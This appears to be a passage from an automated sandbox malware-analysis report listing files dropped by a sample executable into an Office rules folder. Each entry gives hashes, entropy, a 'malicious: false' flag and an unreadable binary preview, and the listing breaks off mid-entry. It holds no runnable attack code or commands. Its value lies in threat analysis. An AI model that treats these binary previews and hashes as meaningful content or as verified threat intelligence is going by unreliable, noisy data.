Preview:	<?xml^E.+....}A\.m..!...\.#H.F/.J.........j..xpK.-....=m....b.n<..b.i.Nc2R.2By.n,^A+}.P....RM...@..P..S..t...."...9.`.....p...ZO.s.S...0?\|@..s.dz.6/......a.>..w#....[.^.^......j....$.=.....b.X..3j.....[...~H..Y.7..a..sJ/C.._A9.\..q..R.e....&.8..~#...w-.;..bZG.F(.a.B. .._./....'..9.+..!..9J.....k..:`...M...S.Iq..{.....8..2q..O....T<.....?.Rb.0.`.y..+..+b......L..."m.g.(..j.!...N.Xn.....#......6...n..mOa..x...43.W?..K.. Xh..T.R...\.A" ..............b...}...`^...k8W..e.Wz...RD-..0.yK.(... ;?...S...k.}..m..Q.....o.......q\..\.V.8.u......~.........[..,ZP..G:..V$.>C..._thB...9......d\|.)}..+tK.+.a..Z...h.Ll#...,31.....b.S.....u...vH...%.V....$.U...i}.U..T.[^Q.C.N...../32.Ce..b].y.e./\!5:k..BX)"Y.. -.....FFd......q^...o`...4.x@..p..Iv..-..).....`.rg.....@..3V.=.#..6.+...y.TZ*...(...ytc..#.o.R57..TF......ghu...v..6.M...Q5...1w.uQ...;.{..B.'5o...d.(hs.r\....:.)Z...XY........$.].sc......../.+P.."cY.....x...r.4..y....e{g?`.;..0.k.k.0.k.).?..p...be.@.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701750v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.894198535412322
Encrypted:	false
SSDEEP:	24:oubBd5ddVql9/yWtlbBaiKNbYl+VgdeTmIC/aJT3DHD53+Wyso7A8JLi/J3spw1X:j7VqlVNg/NZVweTnDj5fyFxJu3yyD
MD5:	07A664E91CDC2513BD4C1EE249EC42E7
SHA1:	E83FBC9D40743F6F65311C9607EDC4E6DF14FF10
SHA-256:	BCA8781AAF07C0D0E66C7107F15BD80827BDD9A07A551585431BCA3810033D56
SHA-512:	AFDCD50EE10D0814FB3FA287674BD74E2295FB601B86B4F3B4EB0B75E912D43C01C9070053AF3546A1BE5E67A010857D5C20EE0897096973D001398D54735B77
Malicious:	false
Preview:	<?xmlU.JwV!...c.3m.;..6.......S.N..U\..yj..ZROu~@Z...:c../..><.Z\|x\|.f.7.....d..#.`....D.RZ!.....9[..s5.Iy.....UK..@r...j~...Q..9-8gt.WQ\........M+. .1..0.i'..G..L..<z.b..}8G.`........@.....b.....k...dq..w;U.....]...x.....O{>..!w..p..cT.(.....uPN.I..G..^K?H..c..M....6P....rH...6n..k.5.d...7..a..).G3^...id.....I....\.RY/...y...S.nx..q.RT.~.J.C(;s.Q.N$<..G)O...K.+..LJ..O5..<...w..j.AS6....b..6.....-".N.P..z.....1... Uq..B./7x[.z.MB...N.`.....)w.?,.Q......d.s..Y)g....)..T...a...=..b1.@-CI.L..Cr...Zww..(.....Y'....q..!...UxF..``...'`.X.f..'...N,.....pcO...x.wq.[..i...B..M..=....2t...8e..ue\:U..kLe.)w.c?....{6....y.`..\|.....Fj.\>..../VZ.42.y..w.(..Q.5ZE}1.X.[....3QDW.Rk.^C....G.x$.8....y.E.a.4.......{.J.&.5.&...x..:..4%.....2.V?........'Jn...h..................\|....\|.T..~..V....P4d2Q.....O..?...mh[...7....q......8\|Bn!1..k.j...f....-.v....c...+.O.7...<../..'.U{...g.2.f.@.......i...J0..g6.!.K.....a.?.kD.H...57.T.9....Z.4.2Jp...j3...q9l@S".;d.+U..8..uTR

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701751v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.89044038300809
Encrypted:	false
SSDEEP:	48:9RtwZdZuGR4b71zUvMF5bNKyVQpFsc5AEyD:kdVRF0F5DysEa
MD5:	541607B54EDB29D2476F420F6E979E15
SHA1:	1164ED7E3DED9C69E25A4A07B9459E12E50D1BCE
SHA-256:	858E7BF463866510C86D434E3A39983B6987C799D7F199A7CD85D94D3717CD86
SHA-512:	53B019874875B094C7547D4D9BF6ECF461ACFE95BA73CF35BCDD4A635755C029B6EC0B44EDAF64562AB0669282F9C5DEBC38EA4351148282F756F7A840D89312
Malicious:	false
Preview:	<?xml..g.......6..{Y..5._..r".5.V..DJq....F..........:.@".wGn..}.t..........,.8A..!";..o.6@."...i..nsk..../.(...&:xq....../.}4}.r.A...h.t~.T...a...\...?c.T/S.e......o.......n.y...+Fx.@3_P.K...G.._....._X....\..#3.].~..a...X..LR.W.?[0,D.B..@..)....=..}...z:.....6I........GV+d1<..b......f.O... .....v.#g..8.c.P..R^hi?..w...(..j3..[FS..f..5.}...4x.....T.0s..PP....eVI.....n...{O.1...LR.d.$...xS]J..J..U...U.QY.Q..+..,.;v..R.a.u....=.z.%.V...&.E.+..g...;v.CD?cp..t.&:...\j..Lo.o.g..eH.......F.m.....g...L,..0.y.:.....C...i.]U.<....C..T..I.mJ.Z.RaA9W=...R.....r........sA?kf.&Pb..............).ht`Z%.]<...+f..w......#.].[,......<.r1..p...........T..%...Kk.......us...C.fa?L(U..WO..2{4n....h<...?&..?....<..pA#j.<_...S.....]b.6..2.. 2.O:.'......s.[..8..ft~U..b..rK......%..c..wsG.Y...k]B..OmH<...q..X.l.....x...j3.rn..N..f.`......>t.....k..).2..X....Z.p._.z........&.@/zi......%..9@...uvA..;...+...u....\|-...E.M.3.^VH.qA....x.M./..59R.../..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701800v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.89376666595769
Encrypted:	false
SSDEEP:	48:gIb8u+fsjv/eVzhHvLWNWp2YY7pjumANhpKriTyD:d/eVssofjOZKYa
MD5:	140F187E0CE48D35B6E90930981B483C
SHA1:	A195BF3ADF775B477A43F761B5C8C3EF07D0F43A
SHA-256:	2231B6001653CC83D6E727F71C750B1E41AC178ED618CF38896658A2EF82A08F
SHA-512:	3414FBD49683B5E33637E89C8B31377557EE0D2A53C0A1998FAA0F49FBAEBBDD3B6F69A47188E8B052D9247201B5D465CF736AF8A9AD907AA7E5176AB41776B0
Malicious:	false
Preview:	<?xml]..Zv/J..........Z......U.`...\|H......4...08.H....%.6.f`..#.....7.n....or.H......8..O.3z.....%e.Q..s8w..9.O.....y..l.......`..~$....y.Zt..6..#..vEn......K\f.%.}.J/..xF.. ..i..X...E.C.......K.+........-7fr9..W..........gj,)tJ.{jH.\|..$2......nW..O..puU...I>V..}......H.Wc.t...c ....X&d.'$8...N...K."].?..o.!...J.A.k..&X^......j.......Q5[n>.S.G.w8.M..&.... ms.9_.V..b.....5.}...:...C..U....s..?..t....Y.53.....P.o........u..C2...ti..8w......8^.~b$.:.....cQ....W. ..X..7.}...\|.~.$U.h.\|.x._.xg.W..../...j57...v..\|./....+U.i@!..m.g./c.\....~O.e.b...oM...5Q/....y51.W{.... h..".(`B6.t.D,.QOt..X....s,_.....s.&.t$...$^.s.\.."Z\.6X.)R...]..:....svC..m2o...!.;....V{z.(20PW..:.c..y6kC........>]Bg.9n-~...I.J^...!.:q....d9I.&G...edziS.<.nH.=b.I.....Vx.v.o...Ap.t.f.H.[...$.x...p.s..[.n.....{M...^....7.w,....NB.T...J^...W.....uz.p@..2{.m~^.-..Y..5.e.h.w=.. .f.. lU.B.~"q#.......Nro.....f..5..Y7.c.......&".....P......b..[...&....i._0q....AY..s0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701801v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.897286039512115
Encrypted:	false
SSDEEP:	48:AjtbvIyfPNB8AGWW+s+l/gHCTSAFlEWUwbd00qmY32fTyD:y7fVU+N/gHCVS0o2La
MD5:	41A7F1FFFF29969262B21ED8E9F3FD66
SHA1:	B85DE369F57C9BA04C888747189E5072F1DB03AB
SHA-256:	40D038D7F627A6505A6610A40C83962E086DA4C6D27408726DB695D22D3B465D
SHA-512:	9D9490B0263D0DF268E96140CE0A58C554D485D886A94F920BE3A14066BDD548BF01A7E37659A316ADCC874737346D45185CC9643251B629C8659ADDAF183C8A
Malicious:	false
Preview:	<?xmll...-.T.'..N.v<.jA.).I..&1..^}....w~_.BSpC..c.?&G.UA.T.W.V:zu..E...Q.r9..#....A...n..(.K....7./{v.8. A.g.8...4....S..0KZ..5.5.'Ya....iV....}F<.?.Nh{y.bH.....@V..1!.z...8Ac...z...{.d..,.sq.e.V.NW.V....b.#..Z....n.P.c...0.)HM.P.......#.f.....MO..Zc...t..Q&Q[9...B....0[..P.....M.....K.QR..vH..p..........F...8.,..F<Z7.1"6.'...`.....2T.)..`....T... .+..........c...R..V=...l7e.....%,.H................q.....c."...o.C~.O.Sj.q.w..j....-..9.V..O...U.\fB.l.~I"=0a.M.;#.P u...w...f....f._Ky.TO...T.)...t.....#S..~I3v....\."...VDi..J"s..1k.#.TwK_ hU...W.U...sR..2.mcS.g5..8. ..u.]@..V.r...&.U.$.qi...7..[......mE.!..A&......?.r.....C%.8.o.....tS8.}.@..2...1<O.?..5...R....!....]../Z,.M.;`..j......E.../.X-..{c.....&.~...-Imo...M.u#..n......HN..".. . C}..J..k......x.y.z....:0...h".. .@....i. ....)~t{..H..1..h.%7.XQ.U.s 1.Ij......;..5\.-......k......y...6_b..N............m 8.i.x.e...d..t.#..U...\|..\..2.j>vC.....H......g.....s.;W.{...~.Se

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701850v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.8805124476291075
Encrypted:	false
SSDEEP:	48:MOBK4eR9PaW+lmX26XRi4yplkdWUK7y6g5hSxyD:MOBxQ9PamX28IhlkdWUK7y6g5Sa
MD5:	69288B659975835A4A569194D301023E
SHA1:	DCB8ADD5871943532ABE619FFFB023E1EF8AF8BB
SHA-256:	72202B6A11F3224B265CFB8F61B5EFCD448BD3C0C977F5E4FDDF9D4941377755
SHA-512:	813C552ED9DB30FFA331CEB5C902F649932EB737BEBCE8C1092E327550A97CAA43F4047994484CA7969CBF3DED82A163A7178935E459613E347F29077B5889CB
Malicious:	false
Preview:	<?xml.m_.9.v...M. .$..p.D.D....?...].90yQ..._......;.....]....Yg.u...c'.Z..2............W....?....zFH{p/byh...zn`.C....O.....W......j@f.%..'.'..wm+O.'$y_...?-.Y....$]...~v......06..b.U..nF.!G......H.1.i.=Hpz.....75.2;i..U..I...{=.!U.Z.^..J_..%.'.a.K.."n.qA.?Z.......r.U.G/.."H.^0{.?{......W..J.=..J{t...T..&W.pd<A..O.3..%..9..y.v..nUn..ykd..r....X...C...j;..w8.~.~]..h....Z+3SX..{To.S.%...~..L%..&.P@..H2.E."Uk1..H$.t.QN..#......4....F.;./&8..Q.....F..5.\y.."ft........&6.y0.v..Q.^3v.x.Pl..(.<_F,.a=..+..k.g./..a..bpF.;`..(.en..gT.q`...j....&.Hm%....b+g.'.....j._.".l...g.CK.;..N..,D/b<...,$!N;... 4..A.,.&cNj....:......=u...U..`Q..........K;.0.o............8...w..o5.......7.t.i>I...t@.B.vYCN...$.......5.E#...kR>.Dt:.\|.x..9..7R..+:...tm<.;;,...j.......Y9...M^.S5.&.........)....k.D?..m.K..v.3^p[.cbK..pc.\A.......!..8V...CW..O..d..F.l.....d.P..4.r..l.c_..E..6......... ....@.2L+Okizk...B......R;.d.;...5....JZ.....n.....Q..(..c.G...<..x.C..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701851v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.87045613636948
Encrypted:	false
SSDEEP:	24:1l2sgLRMcWIQxE8CZQE/bB8IUxNQ0yYwWpolJsMMqV5jTYRYs0dhht4w1bD:1hgFWzQQEzB8B/9jUJJMqfgR8hD4yD
MD5:	5B2CA55CE4672002B7892E5045E34206
SHA1:	EC8FA50B855B19569EBD8B0823BCE241948906FD
SHA-256:	478B104870C53F6EBBDF8FDC18D1EF905088988F149DEDF0613929864E6B225B
SHA-512:	D32D7EFF332624D202776B49C5B7EC6D64CE245073DBD99433FA60ADAE292B97625EECEED48AE048BACF75826BF184A71EAD94DB7F71DBE7968F333332F744CA
Malicious:	false
Preview:	<?xml6......l. ..5.q-....._...Q.3......m....9.....x.%.t...... ...$.....V..Oo..8......d}3ty..1;..!....X.~P.l=...R....jp.^..^......j...Z.....USt...J..I8..u.... ..6.sU..~Hu....o......Ol.....m.7.O.l.+.#P.3..H.Nn1O.....x.....L.[:.?'.....f.Uy[....a..Y.y#s..7..w.%X..Z....@9...M..Z%.9.:.>..$..'.o....f. ..\J._...:..El.e.M;]3YV).n6w........[=...;&a...,....QN..0...Y.Nc..U7..\.I.6~.....Z._,Lv..fz..d.....{..-9..>.'#......7.(.?.(zx.t1......co....[B.=Y`.-.Y..A.N..c.......q0......'.h.K.;M.`{.T{`9:...,J....9.rj.d...'.W..Vn..n...A.{........ D.Mg.r.....V966..b...E9."...+.8...kU.`.{..S6F. n..=.f4.DrO(48..$M.~A.3..k..t...Jn.f...'.\|..-...Te-T.(W7.....y..3L..g.u.w...E..X;....'.>u..,E%.H.........p^.r9.....]...Q?zds.~.S...........9.P..J....S.-.v..1(s.Ap..H...B.,...5\.Tn.WC.!.,..H4.^u.2-.....Vu.d-...v.'..Zjn..\c.4...../.Uh.`e.w..b.....xj.Z"(..s...c.7n-..z...t.D0.3.......C..@.{.Y....I..@.u..pv.d.?.P..>.F....Xv..7c...L.;q9...Ff.......j*..+.........Ok..+...k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701900v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.897011120449872
Encrypted:	false
SSDEEP:	24:YkGl259ekP85+LbTpu+pPLjMHRGEPSbgpJwYjqxQMGlOqoyyIBtiguTblZNVIw1X:YS9eP5i5FcRSzdb0NyD
MD5:	0203BBCBBA34725500E19C303FACCADC
SHA1:	0BE49E19DB69363879724FE001B70B75019AC9C8
SHA-256:	E8D72E0878B66FA0990FE38878A4324F89585201C513886EFCAE50B95A6E4A75
SHA-512:	E3E795CAB513C0E5BAA25A57BA9B2C746011A490C570610813ED5EA9ABBA87A8C6D2B594D5886258ABC0C60D851BF48FC1B4FA1EEE6017FD240CEB79AF810F89
Malicious:	false
Preview:	<?xml....>2...A3.....xI.[.....y..C..u..7...]...B.U.....o.........O..E..r.....1O.z..x.S.Q0..[t..}..Xw.;.0...mlHy.R.]...'.6.A........!..b...e....3..1X.4.....t.^.#..^............W.[B#U.....;.e..]l.....KKI&1.D.0.A...%....DW..:....:.....M\|^..p`G..l.4..[/...,..P/.0.]..J...HkmH.mS..F...A...u...Y.+w.....O...1...O.......GK.z.6.n.q..6..@....ug2..........n.1.X...[z.....r...T..w................Q.t.Y.....$.j..y5d.a.?n.(....Y.LTv5k.. ..26'.<.....2p7.n...6......LMHg...........toY=).pt.(..P..c..bk.....b..nV.[K...+e+iw.Y^..O....U-.'e...Dzy...l....f.<v...).....i.fq..hl..-Tk..xj...L\N.`.=.Rk......R...Y.N..;.H...<..e...%../..7f....$.k.sfn....)..l.W...<....^>..".\|..m....D.....e.+.$.1..u?..xvfPH.Zp..mV1l.....zE.G.feX.......A\|n......N5.K..L....$Au.......4*.)..]..;.'j.)..^1..I~.L1\.^..")...!.k..Qo%.!l......R..f..............M.c7@..{..(..va.........ZP.N.9...s..h..X@...A..j.....&.l.v.pa..O.y\C.....R....Mytk..m...."@..XT.?....YU._..!/.../..T.=.E'...f.........J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701901v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.8900227607249
Encrypted:	false
SSDEEP:	48:K349HIAK1qdESaw6P/v2OrU7HN2MYatyD:HlnKG17Yv2TH/Yata
MD5:	5598D7ADC4B575345E26C858D4FEA31A
SHA1:	DAB21797661C6E1CB7DD041DCB9A05FA44F645B9
SHA-256:	0F3DB7F37400A838976810865211455E91221419AB70775C59BC659EB7FEE82C
SHA-512:	BD7B8A90D2B308AC57B7EFEED41FFDDC671BCF07B105FC4D1283F903E9816BA710A12486FC7D352287ADFB5DAB995DBCA90730E12C7D6DAF6A40974D9EC4CE19
Malicious:	false
Preview:	<?xml.].Q...7..'../\....F.8...XQ=...].....03\|.sl....c....b0q.......h.N.(..#.m.1@.......]........2.9V.N...J.>.v.....{.......D\|d.X..b..4...S)>..p.Mr}.. ........G.qS..^6#T...>.>.?..Tp.../>.....8..<n...#..\.k. o.2^....1. hk..k.[.x".V7..r(..R\|..............3y1M.........../.....~.`.y........Z.,..W..55...%.(.^B.............@.......W.e?..^n.%>;.i. .{./\...?...D.........%...$.h....q8.(..d._].!wq[9sW.._...X.B..)c+H.l.2...`..]:.`V..u..;.....4.W..fn.........a.<...7 .........:`..&....C.a[.J.b.E./G....8.X.....4..~......;.S.8]g?+.}k...1S0.[)..>.$.^o....#}...s....N......]n>$..q^(.b.....q>.....D..xF...6..n..r...mG.(;...K....s$.J\|..<.....+.+..8.....=.s!V..aXy+q.ia.#...\...OS.../..,.r}..X......n..dxu{.....2.J.......2O`.w.....1..*...0...S.e,.yQa%..%........a.a..f...Y@r..?.WN..X.\|`#"..}.'."....oNst...l".y..Fs^.. ..!......z..:...4H.......2N<4..8.W}....n.Xw.v..H.~t..z..<5(yU.."...O.b.o.C]\..K.BA.BY.Eo.[?.......eT.g..>.-.)....%.{.j...K.8!.L.Z....jB.k..L...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701950v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.880117281008072
Encrypted:	false
SSDEEP:	24:AvbcTLCLjTWPOPR099O6VhBDDSD9Rvn385VCQPcFShAh3GtXafbS3ZYbya8+ZTtF:L262P4o61D49XShAstXwma8VyD
MD5:	ECEA41BA0EC0A90BCC4BE25FA47ECC51
SHA1:	95F3D6D25F39EBD665B89CBC22A72BCE735FB962
SHA-256:	7EF624D88D6DB4DAC966DAAC5729A777BA020C33C0F287E7063E95927D6A2155
SHA-512:	F883C61CD7F5DF334110807C970478029CD438123EE6335A04D51B5192EA75DFD9D34D6F26AFE61D8D1B7C66EDACDB7D8121175720B15EFC4AA9345E1F63ECB7
Malicious:	false
Preview:	<?xmlZ......Z.d]d...UV..Ms.de...B.....?.,.pb.g.............1cu....m\|..\|&t....qE...#..t...e..%.....Y..x....'..Q;.W.P.v...A..).-j.\|.ZA......b.hD.:...8.o....,......)-.8.....X......O...H.Y.t....l3x..myf..kh.....;'.=.P.Q3..xz.....z..v..7%.z.9&.i.c!..Dc.p..3C..........j...R.......?nB..\.....R.._..E...S,.q..Y.1....VQ5........3..$J.p(kF.E[...R.{DB....>Zk.e.5 .s.N.....W....%v"'..!..\|w.&.....#lkl....uA.]n..0h$......v..<A......Lf.....a.D[ .d.Ns...e.H.O..!..H...7.O.5O;w.+Cck...,.K.@7.X....z.....5...[PIe\|]....T.@[...DtI..IAX!.......tN.....S....W...........$S.3..kpVU..[e]..h.f..oN]s.].#..........2[J...x..1.4...%9w...`.>...'........d.-oB.beO.a5...x.7...8A.(.Q....L\|......y..<..k.P1..`J+..-A.~M.>..t.p....?y..fT...f.f(E\H.....t.d.!.H.....z.`.J^.....(.^.`.0/0.&T..a$....w..r..d..#n>.!M.D-...S.:....Ax2....D)....#.d...u.el.#..:...mx.....U....@X.Q.....4j.co...1......H............!..z..lX..m[h.)...<.OG........}.#.-.X}QK.......J..2....Sv.U...m........m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701951v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.887851132833284
Encrypted:	false
SSDEEP:	24:r7ZtbwGxs+UFHCxT9Qf/gdHxOe0VA9j95wMvxOFgEfXhhCW+jzpdbMnBn3w1bD:7bbxfKf/gdHxT0CEMvx6gEfXgfpWB3yD
MD5:	CDD9DEF3038409070C15B0CAAE7AF693
SHA1:	64E5D8D1CA711497D350312733A1AA452F27D898
SHA-256:	00D2F72E72D87C9743CFA4001A7A2CE7234C69AB5A12470623277DC68F1C0604
SHA-512:	98F56FFA7A0306A1C99BEF40CEA98B31549C422DE7ED02D05F7D4B2228B61FBECCF14ACE9DC3DCBDAE80D2BA252268D8F65EB1741C9B2B0116EB32CD7BA2BAAF
Malicious:	false
Preview:	<?xml,.RR......8/.);...&.EA..../%......m....K.Ra......3Y..(.\|_+._.C^.@.q+.q.8..zm..Ep..z)..C};.....~.G%..O,..-.....S.%.!.q.k'A.M...6#{M?...?j?....[...s.Ww..bU....P\.5.p..7...S.Sv.p.Dnt."......c....P;\..-..G.1.#\|=...,...Q.N.F'..l..MRZr5.:.g...1..u.?.B$,%..z..@wZj[:.}Lj..g.j...C>6kw=..j!......+.$S4......Q...V.....\..G.c...+...8oZ....hSZfr.v.....)?.....rb.B.....Y.....q....%t..\|.hg{.~...v@.&.Z.......`.-`..c.4....}0"<........lh..:..Y.E..`.a^t}pl.4&..s..P.....7.. g#..\|.....j1./.&.}o%k..w..zH,...(...O...k; ....ol........8!.....;.!..O.w....W..+d.&?.Z....g..c....bQ.~&...4.;c.H-..'..N.J.T... ...........j\..2I.\.".X.>.xz;o....v.O9w....^./l..u..e...s....a.#..v.....D.M....ha...Ad......-..I3(E...]K..2>...AB....@.#O....yq.Q...`...UK.....(+...,J........e..S$.e..Z.Se....sp.WLBg.8*..s.Y.[.z~vs.....X]......5{9V0..9H..,uC.......i.h...Pd....S.YV....s-.../...H..,.B..0.....d?.o.1.@.^.f.c....5...F..T..s.>$....3..'U_PX.T.@$....@..Td...J.....uT.=p.kp..#..d^LA

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702000v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.847096854415616
Encrypted:	false
SSDEEP:	48:UF9zmVTTH0zfDAyL8jYyTQl74sbFbUayD:M9MCfDtoBQlkuFbda
MD5:	EC94066A64C69B94BE6B8473D169DA6B
SHA1:	D877E6AB70DB84D9205AAC5AA2BCFBEB11C99C5D
SHA-256:	4C99E7EEE78648AA75E6A8EF2062998B32FE1F011CBAECF81EBD3B074E0186E1
SHA-512:	0AB32A65B60F4EEE403CB0C8B61D1B121FCD8D8B3FE902CB5B5E2005353BFF7099666D278AC88386E09167F3BC4B65A2E92C647CC8BF25A11B975B3A5DE3F107
Malicious:	false
Preview:	<?xml.-.i.hU...m...L.y.$]..m....xr.......2S!~S......K...\`.dr.X....ZW..~S...b.J`..X.p...e.e...~.....$..x..m...b..c..._I...O.$.....X.8X.9..Aj...G..1.C.p.0;...n..}:.z.X.....E...7.8J...U....h5....`...T....yM./...wV..z..._...=0Wv.....v&,x.l...._T...~s.....d.AD...[C...cX..e.....+.a....T..j..p.yX."....<...0....<$.;....(^c4..\-...9.....)...C..1p..7.(x..[.6..\... ....p.!Tii.]3A.......S.Gb.Od....syo).j.X.=...V.y..c.U...'[..z....x.B.{.w. .K.!6.y].z.x.8x...xn.F...E..H.I...D.'%.6..y..ooV<(..V#W..+Z^.3[..ZL.....d..oZ.L..O....Q..o...^.....'.J.H8)...P,.7....4(.(.f....:eX.%KI.u.~%0...;:....%.V.`QK......Y,..hX...C.......v....}5z.....@BC....(.d.....}g..4..v0.3..T.dK.w.e..K.X{....Q.R,y/.My..T.......D,...(E,..A......d.^fY.....wi...J9n7..E.s_6.+^.F.K:.......b..-W.......c;....s..n,^./...T..q5lA..@}!..b......g.goQ.5h...=...& .Xg<<.y..&....E1._....n..W.F..w7.~Y...{V..].....n.# ...5..HC....r......B...e../w".q>....!.h..V...'..x...3.......D....z._~!.:.Z.I}6.Z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702001v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.891915753738619
Encrypted:	false
SSDEEP:	48:zmw+hH4UQXEEPG/qUZ0zCfUdouQJSCKwa/LaNXXnJdyD:zj8kXET30zCfGouQJqwa/aXX3a
MD5:	ECB113E7C648F0A866B729AD56395D18
SHA1:	E1B9502EFD28C9333DCDE266253CF90C1F81058D
SHA-256:	F508CFE2FCC090E847DDBCA2F25A12359A7E644CE01EFAA1093514507DC13275
SHA-512:	9DC227C623EB15E0EFF25AFE0EEFC2EA3DDC3F23E6014C15FC0B6625FE4227FEC74858D8CE7CD2F62ACDD263ABD3B6CC50C8793C1C562592B4918D1904852B2A
Malicious:	false
Preview:	<?xml."<.....n.F./...yt\.g..}TG....K.Qi.&...L..Z.O..3.G.....9...g....N.....y..TY.3f(.(u/..../......./....=9@..o..%.C..s.#.....8..mLIl...&........;..s...^Z.)Y}.~Mo......].q.....S....J.fUQW#.%.H!JH..}.2.n...h..L.A.~..a....z>q.....x.N!.R.\`w.f..1....b...s...~..s.d.$~qw.{w.5m....2P%.}...@1..E..{..m->^t........}..2!....E.......?x....;.S...;...G.....p$......1..FAN.{"..j.p..+.L.a.Qp.7..0..&.....QX.ZL<.>jIe....h.^+..h.<..R.S.v$.CC9....'.[r.Wej......([....._...!\|...Q.(.r.[..C..^.~.h.c.w.....C.bB...lnYQ.%..)..C=..1....(f.^@l...8.c.`$=...Nv..... Qu,F.....:..z..$...fH.q.L....3".}?.2>..D`.S....{S.`../.....D.bRI......h......d....t.9...kf<...V."........e..H..k...O.Y-..........v..N.w....-t7\p...2[.F..olZ.O.V(.7S...$....]..U....5?........lo.....Nx....^.....K...dQ..?....19.V.1..:....^'...;....N...[......[p.A'..<...P..2.!.h.}...Zc."e..#.MT....:.DS......b.s\.c......I..9.........3..>.V*.A.g..K~....^....U.......y.l./.!...4.V:....$.....rB_9Svyi.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702050v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.868928375771628
Encrypted:	false
SSDEEP:	48:5QpGLd1C23KdqCZwWxJVF9lz7RfvGqsSCmann8g4p5yD:5Qpcra0CZwW39lXRfeqsSCman8pra
MD5:	8B4F46A73A1F1EC56115E6DA9EEC6E91
SHA1:	63C4B53DDF7CD80DC1C618F4C85FF88B643C762D
SHA-256:	9EC69697563483B0146DB50D6AE426298B88B5D1E00A37F0F03EA30731721D9D
SHA-512:	36C593123519029758D60A5486F9D50A4C4FCF26E4A18BA545B7175B64309C00C3FD78274EF7575973A845EA8E55B0253861DAAF4B3D822BCB029C1B11C998D6
Malicious:	false
Preview:	<?xml..."_../.h..".:.x.cJ..fc.N9..z.\|.6..m.>..7I.....T.7..k.....P....UK.^..k=.......y..t.....{...F.z.Q.......&.....5....c]..<.2....&.bv./W.p.....@...M.b.,hR.V...!.]pj.>=..@..9x...m6..Q"o..<...NS.o..i...P.2.j..:."....1.z.z.mAsv..m.=.m....H.(.P...Ig.a.oe_....a..q....F....6W/@..P.hKL....qcd.t.).H.7hF[!.BL.....W...DM3]..W9....P.e...pNs....;$y7.M.ef.qE{...yq...._q_O.XNA.5.c.4^.my..d...t.i.0Tx.}...i..s..x.D{..R...G..%.[P....zj]....&...+..3.....5.\.!!.wE.d...7)......^.-....$.X..Tf....l......k9.......m<.{...a3..eX.k.. .}bU...UK.bO..\.....h.nX{.,~l..(E.,..*.Ft.M.UO..:.N71..2..j....f.R.r...z...z.....\|..c....1+2...P\.\|sm"..ztP.0C.$7.$...c.)..rO..o<..i.,kw..<me`".T.....%.]...p..T...!..p.N..9V.:H.:Y.C..v.&....(.S./...~[.u`%.e3......7h...r....&C.9....D.....q3..\.w..'yK......+]K.W..Y.2}lv}W...r}.n[EY....W.....5.=..DNn....>.&.....t...D....3.u.6\|...\|p.d....Tz..t.h.{k`..;.Q...l..(1!..nf+k..p..E#JM...U+...<u.$4.p.#..U&d.....U5...j.Wakr..,...N.x.G!Q..x._.`.....:t.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702051v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.876304330939279
Encrypted:	false
SSDEEP:	48:HVNT3IV+XzhqkOf1sPU/r0yWZ+f1LeHP6yD:HVVA+wHB6Z+f16HSa
MD5:	48A720F01206F91351B98CD22A3380F2
SHA1:	F85736D194360EA3DF30262E1279FD2E0C83B487
SHA-256:	50C3425634AE1292E9931DB591534BDDA7BFC88C0A07D14CB7EB22C960784E61
